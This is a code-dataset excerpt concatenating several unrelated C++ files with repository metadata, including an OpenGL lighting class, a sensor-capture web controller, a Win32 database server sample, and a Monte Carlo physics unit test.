//-----------------------------------------------------------------// void enable(bool f = true) { enable_ = f; if(light_num_ != 0 && enable_) { glEnable(GL_LIGHTING); } else { glDisable(GL_LIGHTING); } } //-----------------------------------------------------------------// /*! @brief ライトを作成する @return ライトのハンドル */ //-----------------------------------------------------------------// handle create() { handle h = light_envs_.size(); light_env env; light_envs_.push_back(env); return h; } //-----------------------------------------------------------------// /*! @brief ライトを On/Off する @param[in] h ハンドル @param[in] f フラグ */ //-----------------------------------------------------------------// void enable(handle h, bool f = true) { light_envs_[h].enable_ = f; } //-----------------------------------------------------------------// /*! @brief ライト位置を設定する @param[in] h ハンドル @param[in] pos 位置 */ //-----------------------------------------------------------------// void set_position(handle h, const vtx::fvtx& pos) { light_envs_[h].pos_.set(pos.x, pos.y, pos.z); } //-----------------------------------------------------------------// /*! @brief アンビエント・カラーを設定する @param[in] h ハンドル @param[in] col ライト・カラー */ //-----------------------------------------------------------------// void set_ambient_color(handle h, const img::rgbaf& col) { light_envs_[h].ambient_ = col; } //-----------------------------------------------------------------// /*! @brief デュフューズ・カラーを設定する @param[in] h ハンドル @param[in] col ライト・カラー */ //-----------------------------------------------------------------// void set_diffuse_color(handle h, const img::rgbaf& col) { light_envs_[h].diffuse_ = col; } //-----------------------------------------------------------------// /*! @brief スペキュラー・カラーを設定する @param[in] h ハンドル @param[in] col ライト・カラー */ //-----------------------------------------------------------------// void set_specular_color(handle h, const img::rgbaf& col) { light_envs_[h].specular_ = col; } //-----------------------------------------------------------------// /*! @brief マテリアルの設定 @param[in] id マテルアル ID */ //-----------------------------------------------------------------// void set_material(material::type id) const; //-----------------------------------------------------------------// /*! @brief マテリアルのスキャン @param[in] name マテルアル名 @return マテリアル ID */ //-----------------------------------------------------------------// material::type lookup_material(const std::string& name) const; //-----------------------------------------------------------------// /*! @brief マテリアルの設定 @param[in] name マテルアル名 */ //-----------------------------------------------------------------// bool set_material(const std::string& name) const { material::type id = lookup_material(name); if(id != material::type::none_) { set_material(id); return true; } else { return false; } } //-----------------------------------------------------------------// /*! @brief サービス */ //-----------------------------------------------------------------// void service(); //-----------------------------------------------------------------// /*! @brief マテリアルの全リストを表示 */ //-----------------------------------------------------------------// void list_material() const; }; } // namespace gl
25.253112
74
0.366908
hirakuni45
b308c0e40715d9b8ba2ae98dff58d6bdce72d359
7,474
cpp
C++
modules/control/src/capturersController.cpp
voxel-dot-at/toffy
e9f14b186cf57225ad9eae99f227f894f0e5f940
[ "Apache-2.0" ]
null
null
null
modules/control/src/capturersController.cpp
voxel-dot-at/toffy
e9f14b186cf57225ad9eae99f227f894f0e5f940
[ "Apache-2.0" ]
null
null
null
modules/control/src/capturersController.cpp
voxel-dot-at/toffy
e9f14b186cf57225ad9eae99f227f894f0e5f940
[ "Apache-2.0" ]
null
null
null
#include <boost/date_time/posix_time/posix_time_types.hpp> #include <boost/filesystem.hpp> #include <boost/lexical_cast.hpp> #include <boost/log/trivial.hpp> #include <boost/property_tree/json_parser.hpp> #include <toffy/capture/capturerFilter.hpp> #include <toffy/web/capturersController.hpp> using namespace toffy; using namespace toffy::control; namespace fs = boost::filesystem; using namespace std; bool CapturersController::doAction(Action &action, std::string &log) { BOOST_LOG_TRIVIAL(debug) << __FUNCTION__; boost::property_tree::ptree jOutput; std::stringstream ss; string name; BOOST_LOG_TRIVIAL(debug) << action._items.size(); if (action._items.size() >= 4) name = action._items[3]; BOOST_LOG_TRIVIAL(debug) << name; string input = action.req->content; if (name.empty()) { if (!input.empty()) { BOOST_LOG_TRIVIAL(debug) << "Content: " << input; } BOOST_LOG_TRIVIAL(debug) << "_filterList.size(): " << _filterList.size(); boost::property_tree::ptree btas; bool saveAll = true, playBackAll = true, connectedAll = true; for (size_t i = 0; i < _filterList.size(); i++) { btas.add(_filterList[i]->name(),_filterList[i]->type()); if( !dynamic_cast<toffy::capturers::CapturerFilter*>(_filterList[i])->save()) saveAll = false; if( !dynamic_cast<toffy::capturers::CapturerFilter*>(_filterList[i])->playback()) playBackAll = false; if( !dynamic_cast<toffy::capturers::CapturerFilter*>(_filterList[i])->isConnected()) connectedAll = false; } jOutput.add_child("filtergroup",btas); jOutput.add("saveAll",saveAll); jOutput.add("playBackAll",playBackAll); jOutput.add("connectedAll",connectedAll); } else if (name == "playBackAll") { if (action._items.size() < 5) { jOutput.add("status","failed"); jOutput.add("reason","No action indicated"); boost::property_tree::json_parser::write_json(ss,jOutput); log = ss.str(); return false; } toffy::capturers::CapturerFilter *f; for (size_t i = 0; i < _filterList.size(); i++) { f = dynamic_cast<toffy::capturers::CapturerFilter*>(_filterList[i]); if (action._items[4] == "start") { f->save(false); f->playback(true); } else if (action._items[4] == "stop") { f->playback(false); } else { jOutput.add("status","failed"); jOutput.add("reason","Wrong json config value"); boost::property_tree::json_parser::write_json(ss,jOutput); log = ss.str(); return false; } } } else if (name == "connectAll") { if (action._items.size() < 5) { jOutput.add("status","failed"); jOutput.add("reason","No action indicated"); boost::property_tree::json_parser::write_json(ss,jOutput); log = ss.str(); return false; } toffy::capturers::CapturerFilter *f; for (size_t i = 0; i < _filterList.size(); i++) { f = dynamic_cast<toffy::capturers::CapturerFilter*>(_filterList[i]); if (action._items[4] == "start") { f->playback(false); if (f->connect() < 0) { jOutput.add("status","failed"); jOutput.add("reason","Could not start sensor " + f->name()); boost::property_tree::json_parser::write_json(ss,jOutput); log = ss.str(); return false; } else { BOOST_LOG_TRIVIAL(debug) << "Connected " << f->name(); f->save(f->save()); // Dealing with saving: } } else if (action._items[4] == "stop") { f->disconnect(); } else { jOutput.add("status","failed"); jOutput.add("reason","Wrong json config value"); boost::property_tree::json_parser::write_json(ss,jOutput); log = ss.str(); return false; } } } else if (name == "saveAll") { BOOST_LOG_TRIVIAL(debug) << action._items[4]; BOOST_LOG_TRIVIAL(debug) << action._items.size(); if (action._items.size() < 5) { jOutput.add("status","failed"); jOutput.add("reason","No action indicated"); boost::property_tree::json_parser::write_json(ss,jOutput); log = ss.str(); return false; } long int saveTimeStamp; #if defined(MSVC) using namespace boost::posix_time; ptime pt(second_clock::local_time()); static ptime epoch(boost::gregorian::date(1970, 1, 1)); time_duration diff(pt - epoch); saveTimeStamp= diff.ticks() / diff.ticks_per_second(); #else time(&saveTimeStamp); #endif //string _strPath = savePath + string("/") + id() + string("/") + boost::lexical_cast<std::string>(_saveTimeStamp); toffy::capturers::CapturerFilter *f; for (size_t i = 0; i < _filterList.size(); i++) { f = dynamic_cast<toffy::capturers::CapturerFilter*>(_filterList[i]); if (action._items[4] == "start") { fs::path newPath(f->getSavePath()); newPath /= boost::lexical_cast<std::string>(saveTimeStamp); //BOOST_LOG_TRIVIAL(debug) << newPath; fs::create_directories(fs::absolute(newPath)); f->savePath(newPath.string()); f->save(true); } else if (action._items[4] == "stop") { fs::path newPath(f->getSavePath()); //BOOST_LOG_TRIVIAL(debug) << newPath.parent_path(); //newPath /= boost::lexical_cast<std::string>(saveTimeStamp); f->savePath(newPath.parent_path().string()); f->save(false); } else { jOutput.add("status","failed"); jOutput.add("reason","Wrong json config value"); boost::property_tree::json_parser::write_json(ss,jOutput); log = ss.str(); return false; } } } else if (name == "loadpaths") { if (!action.req->content.empty()) { std::stringstream ssInput(action.req->content); boost::property_tree::ptree vals; BOOST_LOG_TRIVIAL(debug) << "name: " << name; BOOST_LOG_TRIVIAL(debug) << "Content: " << input; boost::property_tree::json_parser::read_json(ssInput,vals); boost::property_tree::ptree::const_assoc_iterator it = vals.find("playBackPath"); if (it != vals.not_found()) { fs::path pbPaths(it->second.data()); BOOST_LOG_TRIVIAL(debug) << pbPaths.string(); if ( !fs::exists(pbPaths)) { BOOST_LOG_TRIVIAL(warning) << "Given path " << pbPaths << " does not exist."; //return; } if ( !fs::is_directory(pbPaths)) { BOOST_LOG_TRIVIAL(warning) << "Given path " << pbPaths << " is not a directory." << " Removing file name to get the path"; //fsPath = fsPath.parent_path(); } fs::directory_iterator end_iter; //typedef std::multimap<int, fs::path> result_set_t; //result_set_t result_set; toffy::capturers::CapturerFilter *f; size_t i = 0; BOOST_LOG_TRIVIAL(debug) << pbPaths.string(); //for (size_t i = 0; i < _filterList.size(); i++) { for( fs::directory_iterator dir_iter(pbPaths); dir_iter != end_iter ; ++dir_iter, i++) { BOOST_LOG_TRIVIAL(debug) << dir_iter->path().string(); if(fs::is_directory(dir_iter->path())) { for (size_t i = 0; i < _filterList.size(); i++) { f = dynamic_cast<toffy::capturers::CapturerFilter*>(_filterList[i]); if (dir_iter->path().string().find(f->name()) != string::npos) f->loadPath(dir_iter->path().string()); } //f = dynamic_cast<toffy::capturers::CapturerFilter*>(_filterList[i]); //f->loadPath(dir_iter->path().string()); } } } } BOOST_LOG_TRIVIAL(debug) << "OUT"; } else { jOutput.add("status","failed"); jOutput.add("reason","Action unknown."); boost::property_tree::json_parser::write_json(ss,jOutput); log = ss.str(); return false; } jOutput.add("status","ok"); boost::property_tree::json_parser::write_json(ss,jOutput); log = ss.str(); return true; }
34.442396
116
0.646775
voxel-dot-at
b30ee2f30f07325a6f4376a0e790b97f887fae44
5,792
cpp
C++
src/IS2ODBC.16/DbServer/DbServer.cpp
jimbeveridge/multithreading
b092dde13968f91dfb9b86e3d7e760a50f799a96
[ "MIT" ]
2
2021-11-23T10:43:45.000Z
2022-01-03T14:51:32.000Z
src/IS2ODBC.16/DbServer/DbServer.cpp
jimbeveridge/multithreading
b092dde13968f91dfb9b86e3d7e760a50f799a96
[ "MIT" ]
null
null
null
src/IS2ODBC.16/DbServer/DbServer.cpp
jimbeveridge/multithreading
b092dde13968f91dfb9b86e3d7e760a50f799a96
[ "MIT" ]
1
2020-10-28T15:11:55.000Z
2020-10-28T15:11:55.000Z
/* * DbServer.cpp * * Sample code for "Multithreading Applications in Win32" * This is from Chapter 16. * * DbServer is a process outside of the Internet * Information Server that processes requests from * Is2odbc in a fashion that will guarantee single- * threaded access to the JET engine. * * This process will be automatically started by * is2odbc.dll if it detects that DbServer.EXE * is not running. * * We cannot use MTVERIFY because this program does * not run under the desktop - it is loaded from a * service and so has a life of its own. Therefore * normal message boxes will not show up if something * fails. * * This server is intended to run forever because * we never get a shutdown message. Note that this * process is VERY difficult to kill because the * user's desktop does not own this process. */ #include "stdafx.h" // // Include definition of Database Classes // #include "BookSet.h" // Include the shared information between the Is2Odbc DLL and us #include "../Request.h" #include "../MtVerify.h" CWinApp theApp; // // Setup a security descriptor that allows world access // SECURITY_DESCRIPTOR sd; SECURITY_ATTRIBUTES sa; void Log(char *msg) { time_t ltime; time( &ltime ); // Note that we keep appending to the end. // We keep opening and closing so that nothing // will be lost if the program crashes. FILE *fp = fopen("c:\\DbServer.log", "a"); fprintf(fp, "DbServer: (%s) %s\n", ctime(&ltime), msg ); fclose(fp); } // // Define a main function to act as our server // int main() { Log("Started"); // Create a security descriptor that allows anyone // to get at the event. Otherwise the DLL and DbServer // will get "access denied" trying to share data. if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION)) { Log("InitializeSecurityDescriptor failed"); return EXIT_FAILURE; } // Add a NULL disc. ACL to the security descriptor. // if (!SetSecurityDescriptorDacl(&sd, TRUE, (PACL) NULL, FALSE)) { Log("SetSecurityDescriptorDacl failed"); return EXIT_FAILURE; } sa.nLength = sizeof(sa); sa.lpSecurityDescriptor = &sd; sa.bInheritHandle = FALSE; // If you are trying to debug DbServer.exe with IIS // running as a foreground process, this DebugBreak() // will let you get to the debugger. //DebugBreak(); // // Open the DB Records that will be used /// CAwBooksSet bookSet; // We do not really need to open the recordset here, // but it allows us to trap fatal open errors. try { if (!bookSet.Open()) { Log("Failed to open book recordset"); return EXIT_FAILURE; } } catch (CDBException* e) { char buf[256]; e->GetErrorMessage(buf, 256); Log(buf); e->Delete(); return EXIT_FAILURE; } Log("Initialized"); // After being launched by the DLL, we need to set an event // to indicate that we are running. That event should have // been created by the DLL. If the event cannot be found, // loop and keep trying to open it. HANDLE hEvent; for (;;) { hEvent = ::OpenEvent(EVENT_ALL_ACCESS, FALSE, EVENT_SERVER_RUNNING); if (hEvent) break; DWORD dwErr = ::GetLastError(); if ( dwErr != ERROR_FILE_NOT_FOUND) { char buf[256]; wsprintf(buf, "Received fatal error %d", dwErr); Log(buf); return EXIT_FAILURE; } // Put in a delay so this doesn't because a // tight loop and a CPU hog. Sleep(500); } ::SetEvent(hEvent); Log("Finished handshake with DLL - Server ready"); // // Create events for signalling the Is2Odbc DLL // HANDLE hStartEvent = NULL; HANDLE hDoneEvent = NULL; MTVERIFY( hStartEvent = ::CreateEvent(&sa, TRUE, FALSE, EVENT_START_PROCESSING)); MTVERIFY( hDoneEvent = ::CreateEvent(&sa, TRUE, FALSE, EVENT_DONE_PROCESSING)); if (!hStartEvent || !hDoneEvent) { Log("Could not create events!"); return -1; } // // Handle all incoming requests // DWORD dwResult; do { // // Wait until the IS2ODBC DLL tells us to start processing // dwResult = ::WaitForSingleObject(hStartEvent, INFINITE); if (dwResult == WAIT_OBJECT_0) { // Got a request from the Is2Odbc DLL ::ResetEvent(hStartEvent); // Get a pointer to the DB Request HANDLE hFileMapping = NULL; DbRequest* pDbRequest = NULL; MTVERIFY( hFileMapping = ::OpenFileMapping( FILE_MAP_ALL_ACCESS, FALSE, FILE_DB_REQUEST)); MTVERIFY( pDbRequest = (DbRequest*) MapViewOfFile(hFileMapping, FILE_MAP_ALL_ACCESS, 0, 0, 0)); // // Use exception handling to make sure DB request is handled correctly TRY { // Filter, parameterize and sort the section recordset bookSet.m_strFilter = pDbRequest->sqlFilter; bookSet.m_strSort = pDbRequest->sqlSort; BOOL bResult = FALSE; if (bookSet.IsOpen()) bResult = bookSet.Requery(); else bResult = bookSet.Open(); if (bResult) { // Add all the results to the request's result field char *pszOut = pDbRequest->sqlResult; while (!bookSet.IsEOF()) { sprintf(pszOut, "(%s) %s, by %s<p>", bookSet.m_Category, bookSet.m_Title, bookSet.m_Author); pszOut += strlen(pszOut); bookSet.MoveNext(); } // end while bookSet.Close(); } // end if } // end try CATCH(CDBException, e) { char buf[256]; e->GetErrorMessage(buf, 256); sprintf(pDbRequest->sqlResult, "%s<p>", buf); bookSet.Close(); e->Delete(); } // end catch END_CATCH // Signal Caller that request is done. SetEvent(hDoneEvent); // Close request data structure UnmapViewOfFile(pDbRequest); CloseHandle(hFileMapping); } // end if // only stay in loop if things are working correctly } while (dwResult == WAIT_OBJECT_0); ::CloseHandle(hEvent); ::CloseHandle(hStartEvent); ::CloseHandle(hDoneEvent); return 0; }
24.646809
98
0.678867
jimbeveridge
b3137f6cab97553f54fa80b509346a81576e4619
510
hh
C++
src/util/refer.hh
lpzun/bssp
e56e991f048adf77b0ef8b4097e962725cc1ac5f
[ "MIT" ]
null
null
null
src/util/refer.hh
lpzun/bssp
e56e991f048adf77b0ef8b4097e962725cc1ac5f
[ "MIT" ]
null
null
null
src/util/refer.hh
lpzun/bssp
e56e991f048adf77b0ef8b4097e962725cc1ac5f
[ "MIT" ]
null
null
null
/** * @name refs.hh * * @date: Jun 21, 2015 * @author: Peizun Liu */ #ifndef REFS_HH_ #define REFS_HH_ #include "state.hh" namespace bssp { class refer { public: refer(); ~refer(); static bool OPT_PRINT_ALL; static bool OPT_PRINT_CMD; static bool OPT_PRINT_ADJ; // static bool OPT_INPUT_TTS; /// global variable for elapsed time static clock_t ELAPSED_TIME; static string TMP_FILENAME; static string COMMENT; }; } /* namespace SURA */ #endif /* REFS_HH_ */
15
40
0.652941
lpzun
b313cc527cabdb6f3e00ee44040fe1cbdcfe5912
1,414
cpp
C++
lib/GCOI/MP.cpp
ForeverRainbow/speech-analysis
1758655b9202c1c17b06049396672bf4eb63f264
[ "MIT" ]
null
null
null
lib/GCOI/MP.cpp
ForeverRainbow/speech-analysis
1758655b9202c1c17b06049396672bf4eb63f264
[ "MIT" ]
null
null
null
lib/GCOI/MP.cpp
ForeverRainbow/speech-analysis
1758655b9202c1c17b06049396672bf4eb63f264
[ "MIT" ]
null
null
null
#include "GCOI.h" #include <iostream> using namespace Eigen; rpm::vector<GCOI::GIPair> GCOI::estimate_MultiProduct(const ArrayXd & _x, double fs, int lev) { // Resize to a multiple of (2^lev). int dataLen = (_x.size() / (2 << (lev + 1))) * (2 << (lev + 1)); ArrayXd a = _x.head(dataLen); ArrayXd p = ArrayXd::Ones(dataLen); for (int i = 1; i < lev; ++i) { int div = 2 << (i - 1); int newWidth = dataLen / div; // Perform the FLWT. ArrayXd d(newWidth); ArrayXd acur(newWidth); for (int j = 0; j < newWidth; ++j) { d(j) = a(2 * j + 1) - a(2 * j); acur(j) = a(2 * j) + d(j) / 2; for (int k = 0; k < div; ++k) { p(div * j + k) *= acur(j); } } a = std::move(acur); } rpm::vector<int> gcis = findPeaks(-p); rpm::vector<GIPair> pairs; double pitch = 0; for (int k = 0; k < signed(gcis.size()) - 1; ++k) { GIPair pair; pair.gci = gcis[k]; pair.nextgci = gcis[k + 1]; int t1 = 0.8 * gcis[k] + 0.2 * gcis[k + 1]; int t2 = gcis[k + 1]; p(seq(t1, t2)).maxCoeff(&pair.goi); pair.goi += pair.gci; pairs.push_back(std::move(pair)); pitch += fs / (2 * (pair.nextgci - pair.gci)); } pitch /= signed(gcis.size()) - 1; return pairs; }
23.566667
93
0.461103
ForeverRainbow
b31501a2ec10b7722ccf44cf7254ae73d4f9c814
1,904
cpp
C++
src/serializer.cpp
Sholex-Team/simple-json
16e53c5ee500daed46056e86feabca273711d6ac
[ "MIT" ]
5
2021-08-06T12:38:09.000Z
2021-09-20T12:34:00.000Z
src/serializer.cpp
Sholex-Team/simple-json
16e53c5ee500daed46056e86feabca273711d6ac
[ "MIT" ]
null
null
null
src/serializer.cpp
Sholex-Team/simple-json
16e53c5ee500daed46056e86feabca273711d6ac
[ "MIT" ]
null
null
null
#include "serializer.h" namespace simple_json::serializer { #pragma region Serializer Functions std::string dumps(const types::Json & json, const size_t local_indent) { std::stringstream stream; serializer(stream, json, local_indent); return stream.str(); } void dump(const types::Json & json, const std::string & file_path, const size_t local_indent) { Dump {file_path, local_indent}.dump(json); } void dump(const types::Json & json, std::ofstream & file_stream, const size_t local_indent) { if (!file_stream.is_open()) { throw exceptions::WritingToFileException {}; } serializer(file_stream, json, local_indent); } #pragma endregion namespace { #pragma region Constructors Dump::Dump(const std::string & file_path, const size_t local_indent) : file_stream {file_path}, local_indent {local_indent} { if (!file_stream) { if (file_stream.is_open()) { file_stream.close(); } throw exceptions::WritingToFileException {}; } } #pragma endregion #pragma region Public Methods void Dump::dump(const types::Json & json) { serializer(file_stream, json, local_indent); } #pragma endregion #pragma region Destructor Dump::~Dump() { if (file_stream.is_open()) { file_stream.close(); } } #pragma endregion void serializer(std::ostream & os, const types::Json & json, const size_t local_indent) { size_t old_indent = indent::switch_indent(local_indent); if (json.type() == types::DataType::string_type) { os << json.serialize(); } else { os << json; } indent::indent_length = old_indent; } } }
27.2
99
0.582458
Sholex-Team
b316c70cd1774f9f8262c7f088e45fe627a89bb5
129
hpp
C++
dependencies/glm/gtx/io.hpp
realtehcman/-UnderwaterSceneProject
72cbd375ef5e175bed8f4e8a4d117f5340f239a4
[ "MIT" ]
null
null
null
dependencies/glm/gtx/io.hpp
realtehcman/-UnderwaterSceneProject
72cbd375ef5e175bed8f4e8a4d117f5340f239a4
[ "MIT" ]
null
null
null
dependencies/glm/gtx/io.hpp
realtehcman/-UnderwaterSceneProject
72cbd375ef5e175bed8f4e8a4d117f5340f239a4
[ "MIT" ]
null
null
null
version https://git-lfs.github.com/spec/v1 oid sha256:ea02c588304792d4495674f3f91aff94a2ada840801280816b012c24144122e4 size 7136
32.25
75
0.883721
realtehcman
b31aa9ad50bfeb475b9ac4960206bc966b373000
5,366
cpp
C++
packages/monte_carlo/collision/electron/test/tstBremsstrahlungElectronScatteringDistributionACEFactoryV14.cpp
bam241/FRENSIE
e1760cd792928699c84f2bdce70ff54228e88094
[ "BSD-3-Clause" ]
10
2019-11-14T19:58:30.000Z
2021-04-04T17:44:09.000Z
packages/monte_carlo/collision/electron/test/tstBremsstrahlungElectronScatteringDistributionACEFactoryV14.cpp
bam241/FRENSIE
e1760cd792928699c84f2bdce70ff54228e88094
[ "BSD-3-Clause" ]
43
2020-03-03T19:59:20.000Z
2021-09-08T03:36:08.000Z
packages/monte_carlo/collision/electron/test/tstBremsstrahlungElectronScatteringDistributionACEFactoryV14.cpp
bam241/FRENSIE
e1760cd792928699c84f2bdce70ff54228e88094
[ "BSD-3-Clause" ]
6
2020-02-12T17:37:07.000Z
2020-09-08T18:59:51.000Z
//---------------------------------------------------------------------------// //! //! \file tstBremsstrahlungElectronScatteringDistributionACEFactoryV14.cpp //! \author Luke Kersting //! \brief bremsstrahlung scattering distribution ACE factory unit tests //! //---------------------------------------------------------------------------// // Std Lib Includes #include <iostream> // FRENSIE Includes #include "MonteCarlo_BremsstrahlungElectronScatteringDistributionACEFactory.hpp" #include "Data_ACEFileHandler.hpp" #include "Data_XSSEPRDataExtractor.hpp" #include "Utility_TabularDistribution.hpp" #include "Utility_RandomNumberGenerator.hpp" #include "Utility_UnitTestHarnessWithMain.hpp" //---------------------------------------------------------------------------// // Testing Variables. //---------------------------------------------------------------------------// std::shared_ptr<const MonteCarlo::BremsstrahlungElectronScatteringDistribution> epr14_distribution; //---------------------------------------------------------------------------// // Tests //---------------------------------------------------------------------------// // Check that the sample() function for a dipole distribution FRENSIE_UNIT_TEST( BremsstrahlungElectronScatteringDistributionACEFactory, sample_DipoleBremsstrahlung ) { // Set up the random number stream std::vector<double> fake_stream( 2 ); fake_stream[0] = 0.5; // Correlated sample the 7.94968E-04 MeV and 1.18921E-02 MeV distributions fake_stream[1] = 0.5; // Sample angle 0.0557151835328 from analytical function Utility::RandomNumberGenerator::setFakeStream( fake_stream ); double incoming_energy = 0.0009; double photon_energy, photon_angle_cosine; epr14_distribution->sample( incoming_energy, photon_energy, photon_angle_cosine ); Utility::RandomNumberGenerator::unsetFakeStream(); // Test FRENSIE_CHECK_FLOATING_EQUALITY( photon_energy, 1.5615223131747785e-05, 1e-12 ); FRENSIE_CHECK_FLOATING_EQUALITY( photon_angle_cosine, 5.9272490590767779e-02, 1e-12 ); } //---------------------------------------------------------------------------// // Check that the sampleAndRecordTrials() function for a dipole distribution FRENSIE_UNIT_TEST( BremsstrahlungElectronScatteringDistributionACEFactory, sampleAndRecordTrials_DipoleBremsstrahlung ) { // Set up the random number stream std::vector<double> fake_stream( 2 ); fake_stream[0] = 0.5; // Correlated sample the 7.94968E-04 MeV and 1.18921E-02 MeV distributions fake_stream[1] = 0.5; // Sample mu = 0.0592724905908 from analytical function Utility::RandomNumberGenerator::setFakeStream( fake_stream ); MonteCarlo::ElectronScatteringDistribution::Counter trials = 10; double incoming_energy = 0.0009; double photon_energy, photon_angle_cosine; epr14_distribution->sampleAndRecordTrials( incoming_energy, photon_energy, photon_angle_cosine, trials ); Utility::RandomNumberGenerator::unsetFakeStream(); // Test FRENSIE_CHECK_FLOATING_EQUALITY( photon_energy, 1.5615223131747785e-05, 1e-12 ); FRENSIE_CHECK_FLOATING_EQUALITY( photon_angle_cosine, 5.92724905907677790e-02, 1e-12 ); FRENSIE_CHECK_EQUAL( trials, 11 ); } //---------------------------------------------------------------------------// // Custom setup //---------------------------------------------------------------------------// FRENSIE_CUSTOM_UNIT_TEST_SETUP_BEGIN(); std::string test_ace14_file_name; unsigned test_ace14_file_start_line; FRENSIE_CUSTOM_UNIT_TEST_COMMAND_LINE_OPTIONS() { ADD_STANDARD_OPTION_AND_ASSIGN_VALUE( "test_ace14_file", test_ace14_file_name, "", "Test ACE14 file name" ); ADD_STANDARD_OPTION_AND_ASSIGN_VALUE( "test_ace14_file_start_line", test_ace14_file_start_line, 1, "Test ACE14 file start line" ); } FRENSIE_CUSTOM_UNIT_TEST_INIT() { // Create a file handler and data extractor std::unique_ptr<Data::ACEFileHandler> ace_file_handler( new Data::ACEFileHandler( test_ace14_file_name, "82000.14p", test_ace14_file_start_line ) ); std::unique_ptr<Data::XSSEPRDataExtractor> xss_data_extractor( new Data::XSSEPRDataExtractor( ace_file_handler->getTableNXSArray(), ace_file_handler->getTableJXSArray(), ace_file_handler->getTableXSSArray() ) ); MonteCarlo::BremsstrahlungElectronScatteringDistributionACEFactory::createBremsstrahlungDistribution( *xss_data_extractor, epr14_distribution ); // Initialize the random number generator Utility::RandomNumberGenerator::createStreams(); } FRENSIE_CUSTOM_UNIT_TEST_SETUP_END(); //---------------------------------------------------------------------------// // end tstBremsstrahlungElectronScatteringDistributionACEFactoryV14.cpp //---------------------------------------------------------------------------//
41.276923
103
0.582557
bam241
b31bddb701f0a1697846a6bdacc08f7864532dc3
727
cpp
C++
src/Model/PlaneBuilder.cpp
Grushenko/GLPress
29313c40c0dc79f890638042b46484e4ff856d16
[ "Beerware" ]
4
2017-05-18T18:10:05.000Z
2017-06-05T10:58:38.000Z
src/Model/PlaneBuilder.cpp
Grushenko/GLPress
29313c40c0dc79f890638042b46484e4ff856d16
[ "Beerware" ]
null
null
null
src/Model/PlaneBuilder.cpp
Grushenko/GLPress
29313c40c0dc79f890638042b46484e4ff856d16
[ "Beerware" ]
null
null
null
#include "PlaneBuilder.h" std::shared_ptr<Mesh> PlaneBuilder::build() { std::vector<Vertex> vertices; std::vector<GLuint> indices{0, 1, 2, 1, 3, 2}; vertices.emplace_back(glm::vec3(-0.5 * mWidth, -0.5 * mHeight, 0), glm::vec3(0, 0, -1), glm::vec2(mBegin.x, mBegin.y)); vertices.emplace_back(glm::vec3( 0.5 * mWidth, -0.5 * mHeight, 0), glm::vec3(0, 0, -1), glm::vec2(mEnd.x, mBegin.y)); vertices.emplace_back(glm::vec3(-0.5 * mWidth, 0.5 * mHeight, 0), glm::vec3(0, 0, -1), glm::vec2(mBegin.x, mEnd.y)); vertices.emplace_back(glm::vec3( 0.5 * mWidth, 0.5 * mHeight, 0), glm::vec3(0, 0, -1), glm::vec2(mEnd.x, mEnd.y)); return std::make_shared<Mesh>(std::move(vertices), std::move(indices)); }
48.466667
123
0.624484
Grushenko
b323207bf7957ca5ec8a1338051ae05038b0da88
155
cpp
C++
c++/test.cpp
seagoj/cs_notes
c4ad98e55eb815e9a6585a99a55064ea77ba4b26
[ "MIT" ]
null
null
null
c++/test.cpp
seagoj/cs_notes
c4ad98e55eb815e9a6585a99a55064ea77ba4b26
[ "MIT" ]
null
null
null
c++/test.cpp
seagoj/cs_notes
c4ad98e55eb815e9a6585a99a55064ea77ba4b26
[ "MIT" ]
null
null
null
#include<iostream> //#include<stdlib.h> using namespace std; int main() { int x, y; cin>>x>>y; cout<<x<<endl<<y; return 0; }
12.916667
22
0.516129
seagoj
b326ee600b5adfd3c7216a1debfc9a9e7b0f8188
749
cpp
C++
util.cpp
as-xjc/scheduler
9b9851a5f2d74c64bdcee6c583cec77d898887e0
[ "MIT" ]
1
2019-10-14T13:43:47.000Z
2019-10-14T13:43:47.000Z
util.cpp
as-xjc/scheduler
9b9851a5f2d74c64bdcee6c583cec77d898887e0
[ "MIT" ]
null
null
null
util.cpp
as-xjc/scheduler
9b9851a5f2d74c64bdcee6c583cec77d898887e0
[ "MIT" ]
1
2020-10-16T02:26:34.000Z
2020-10-16T02:26:34.000Z
#include <chrono> #include <ctime> #include "util.hpp" #include "define.hpp" namespace schedule { namespace util { uint64_t now_time() { std::chrono::system_clock::duration time_since = std::chrono::system_clock::now().time_since_epoch(); return std::chrono::duration_cast<std::chrono::milliseconds>(time_since).count(); } uint64_t make_time(int year, int month, int day, int hour, int minute, int second, int milliseconds) { std::tm tm; tm.tm_year = year - 1900; tm.tm_mon = month - 1; tm.tm_mday = day; tm.tm_hour = hour; tm.tm_min = minute; tm.tm_sec = second; std::time_t t = std::mktime(&tm); if (t == -1) return 0; uint64_t result = t; result = result*schedule::second + milliseconds; return result; } } }
19.205128
109
0.680908
as-xjc
b3276dfb02a1ead34b6b8995ff83e979ad14f059
1,093
hh
C++
include/Core/Domains/INonRelational.hh
0xDouze/abstract_vuln_finder
6cf24c585e6dceeda8d31c53afb20231252e389e
[ "MIT" ]
6
2019-08-30T01:36:03.000Z
2019-11-16T19:10:29.000Z
include/Core/Domains/INonRelational.hh
0xDouze/abstract_vuln_finder
6cf24c585e6dceeda8d31c53afb20231252e389e
[ "MIT" ]
4
2019-12-17T17:33:24.000Z
2019-12-20T17:43:19.000Z
include/Core/Domains/INonRelational.hh
0xDouze/abstract_vuln_finder
6cf24c585e6dceeda8d31c53afb20231252e389e
[ "MIT" ]
1
2019-08-29T22:02:11.000Z
2019-08-29T22:02:11.000Z
#pragma once #include "Func.hh" #include "Graph.hh" /// FIX: Add missing const and ref (get_val_from_env) template <typename AbstractValue, typename Env> class INonRelational { public: virtual ~INonRelational(){}; virtual AbstractValue init_abs_val() = 0; virtual void set_bottom(AbstractValue &val) = 0; virtual void set_top(AbstractValue &val) = 0; virtual AbstractValue add_var(std::string &varname, unsigned dim) = 0; virtual void update_env(std::string name, AbstractValue val) = 0; virtual Env get_env() = 0; virtual AbstractValue get_val_from_env(std::string &name) = 0; virtual AbstractValue join(AbstractValue &left, AbstractValue &right) = 0; virtual AbstractValue meet(AbstractValue &left, AbstractValue &right) = 0; virtual AbstractValue widen(AbstractValue &left, AbstractValue &right) = 0; virtual AbstractValue assign_val(AbstractValue &dst, AbstractValue &src) = 0; virtual AbstractValue eval_stat(const std::shared_ptr<Arc> &arc) = 0; virtual void print_env() const = 0; virtual void init_internal_env(const std::shared_ptr<Func> &func) = 0; };
45.541667
79
0.752059
0xDouze
b32c002236e56b190f8ba0393b7d0ad639c52d10
1,224
cpp
C++
leetcode/editor/cn/70-climbing-stairs.cpp
xutengx/data-structure
cdc2fa24000377357c4f2d6ece83261ff4213d4c
